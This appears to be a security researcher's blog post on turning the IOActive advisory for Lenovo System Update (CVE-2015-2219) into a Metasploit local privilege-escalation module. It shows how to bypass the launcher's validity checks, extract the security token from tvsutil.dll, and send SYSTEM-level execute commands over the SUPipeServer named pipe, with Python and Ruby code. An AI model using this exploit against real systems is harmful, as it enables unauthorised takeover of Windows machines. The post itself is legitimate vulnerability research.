because sharing is caring...

from bug description to metasploit module

On April 14 2015 IOActive released a security advisory for Lenovo System Update. The advisory describes multiple security vulnerabilities including a local privilege escalation vulnerability (CVE-2015-2219).

Following description is from the IOActive security advisory :

"The Lenovo System Update allows least privileged users to perform system updates. To do this, the System Update includes the System Update service (SUService.exe). This service runs privileged as the SYSTEM user and communicates with the System Update which is running as the unprivileged user. The service creates a named pipe through which the unprivileged user can send commands to the service. When the unprivileged System Update needs to execute a program with higher privileges, it writes the command to the named pipe, and the SUService.exe reads the command and executes it."

A few months ago I wrote a Metasploit Module for a vulnerability that also used named pipes. CVE-2015-2219 should be quite similar so I decided to create a Metasploit module for it.

This blog entry mainly describes how I created a simple PoC exploit and converted this into a working Metasploit module. It does not deal with module creation basics as there is plenty of information out there. Instead I focused on the tricky parts that caused some problems.

Finding a vulnerable version

To write an exploit we have to get a vulnerable version of Lenovo System Update. You can download the tool from the Lenovo website, however they only link to the latest version. At the time of writing, the current version was available under the following URL:

Vendors often don't delete the files on the web server so we just have to figure out a valid file name. Using google I discovered a entry in the german ThinkPad forum which contains a valid link to a older version (5.02.0018 form 2013).

Valid URL of a vulnerable System Update version

Understanding the vulnerability

I installed my Sytem Update version on a Windows 7 test system and had a quick look at the installed files. Most parts of the tool are written in .NET which makes analysis easier.

I then started to work with it as a normal user and monitored the running processes via Process Explorer.

By just watching Process Explorer output I noticed the following things:

  1. The (privileged) System Update service is not started by default. Instead it is started by the (low privileged) process tsu.exe using a separate executable "ServiceConfig.exe". When the application is closed the service is stopped (also via ServiceConfig.exe).

  2. The low privileged part of System Update mainly consists of two processes (UNCServer.exe and TvsuCommandLauncher.exe).

  3. The System Update service first starts some other commands (for example netsh to temporary change the firewall rules). After that he starts UACSdk.exe which starts Tvsukernel.exe.

Lenovo System Update processes

If you take a closer look at the command line of TvsuCommandLauncher.exe it is quite obvious how the vulnerability works. You can even see the Security token that was mentioned in the IOActive advisory.


Looks like the TvsuCommandLauncher.exe forwards commands (in this case UACSdk.exe) to the System Update Service which executes it. So lets have a look into that file first. As it is written in .NET we can use a free .NET decompliler like ILSpy.


The code of TvsuCommand.exe is quite simple, however it contains two interesting security checks in the "checkValidity" method:

  • The application verifies checks the name of the parent process against a list of valid names.
  • The certificate of the executable form the parent process is "checked". This check is quite simple and can be bypassed as only the CN Name of the certificate is checked.

Looks like the System Update developers were aware that this tool could be abused and added the checks to prevent this. However, nothing stops you from exporting the decompiled source code in a new .NET project and change the checkValidity method to return always true:

private static bool CheckValidity()
  return true;

This gives a very nice simple proof of concept exploit/tool which can be used to execute arbitrary commands through the System Update Service. If you take a deeper look into the TvsuCommandLauncher code, you can see that this is done using the named pipe "SUPipeServer".

The following example shows the code that must be send to the System Update Named Pipe to execute calc.exe as Windows SYSTEM (YOUR_TOKEN must be replaced with the token of your system).

/execute calc.exe /arguments /directory C:\WINDOWS\SYSTEM32 /type COMMAND /securitycode YOUR_TOKEN

Getting the security token code

The code for the generation of the security token is not part of TvsuCommandLauncher (as the token code is passed via command line). However, by analyzing the code of the server component (SUService.exe) we can see that the service received the code from the function "GetSystemInfoData" which is located in the binary "tvsutil.dll".

This binary is written in C so it is not possible to use ILSpy here. But we can always use Ida to analyze the Assembly code of the function. We are dealing with a 32bit DLL, so you can even use the free version for that.

Analyzing tvsutil.dll in Ida

GetSystemInfoData basically uses the result of a WMI call o Win32_ComputerSystemProduct to create a Hash value. We could rewrite this code in our exploit but it is easier to just call the GetSystemInfoData function in the DLL.

The following code gives a quick example how this can be done in Python by using Ctypes. Please note that you will need a 32 bit version of Python to make this work.

import ctypes

string_buffer = ctypes.create_unicode_buffer(256)
path = "C:\\exploitdev\\lenovo\\tvsutil.dll"
utilDll = ctypes.CDLL(path)


print string_buffer.value

At this point, we have a pretty good understanding of the System Update code, a simple working PoC exploit and we know how the security code is created. This should be sufficient to write the Metasploit module.

Metasploit module

We will create a privilege escalation module that can be executed from a low privileged Meterpreter session. The basic Idea is to write create a Executable with Meterpreter shellcode on the fly and copy it over to our target. Then we use the System Update service to call this executable with SYSTEM privileges.

Let's recap the exploitation steps:

  1. Get the directory of the Lenovo System Update Installation
  2. Start the System Update Service via ConfigService.exe
  3. Get the security token from tvsutil.dll
  4. Create the new executable and copy it to the target system
  5. Call the executable by sending the command to the SUPipeServer named pipe
  6. Stopping the service (again via ConfigService.exe)
  7. Enjoy our escalated Meterpreter shell :-)

I won't write down the complete ruby code here, instead I will only focus on the difficult parts. You can get the exploit module here...

Getting the System Update directory

We need the directory for various calls, so lets get this first. I decided to extract it from the details of the System Update Service:

su_directory = service_info('SUService')[:path][1..-15]

Getting the security token

Metasploits version of Python Ctype is called Railgun which can be used to load/call code from arbitary DLLs. GetSystemInfo expects a writeable pointer to a WCHAR array.

def get_security_token(lenovo_directory)
  unless client.railgun.get_dll('tvsutil')
    client.railgun.add_dll('tvsutil', "#{lenovo_directory}\\tvsutil.dll")
    client.railgun.add_function('tvsutil', 'GetSystemInfoData', 'DWORD', [['PWCHAR', 'systeminfo', 'out']], windows_name = nil, calling_conv = 'cdecl')

  dll_response = client.railgun.tvsutil.GetSystemInfoData(256)


Named pipe communication

Communication with the named pipe of the System Update Service is also done via Railgun. We open a valid File Handle via CreateFileA and write to it by using WriteFile. This is similar to a normal Write Operation in Windows.

The Sevice Update Service actually performs two read requests to retrieve a command * He first queries four bytes which must contain the length of the command as integer * He then reads the command itself.

We have to keep care on that. To convert the Ruby Int Type into a native Integer, I used the Array.pack method:


Here the complete code of the function:

def write_named_pipe(pipe, command)
    invalid_handle_value = 0xFFFFFFFF

    r = session.railgun.kernel32.CreateFileA(pipe, 'GENERIC_READ | GENERIC_WRITE', 0x3, nil, 'OPEN_EXISTING', 'FILE_FLAG_WRITE_THROUGH | FILE_ATTRIBUTE_NORMAL', 0)
    handle = r['return']

    if handle == invalid_handle_value
      fail_with(Failure::NoTarget, "#{pipe} named pipe not found")
      vprint_good("Opended #{pipe}! Proceeding...")


      # First, write the string length as Int32 value
      w = client.railgun.kernel32.WriteFile(handle, [command.length].pack('l'), 4, 4, nil)

      if w['return'] == false
        print_error('The was an error writing to pipe, check permissions')
        return false

      # Then we send the real command
      w = client.railgun.kernel32.WriteFile(handle, command, command.length, 4, nil)

      if w['return'] == false
        print_error('The was an error writing to pipe, check permissions')
        return false

And here is a example how this function is called:

write_named_pipe("\\\\.\\pipe\\SUPipeServer", "/execute #{exe_name} /arguments /directory #{write_path} /type COMMAND /securitycode #{token}")
comments powered by Disqus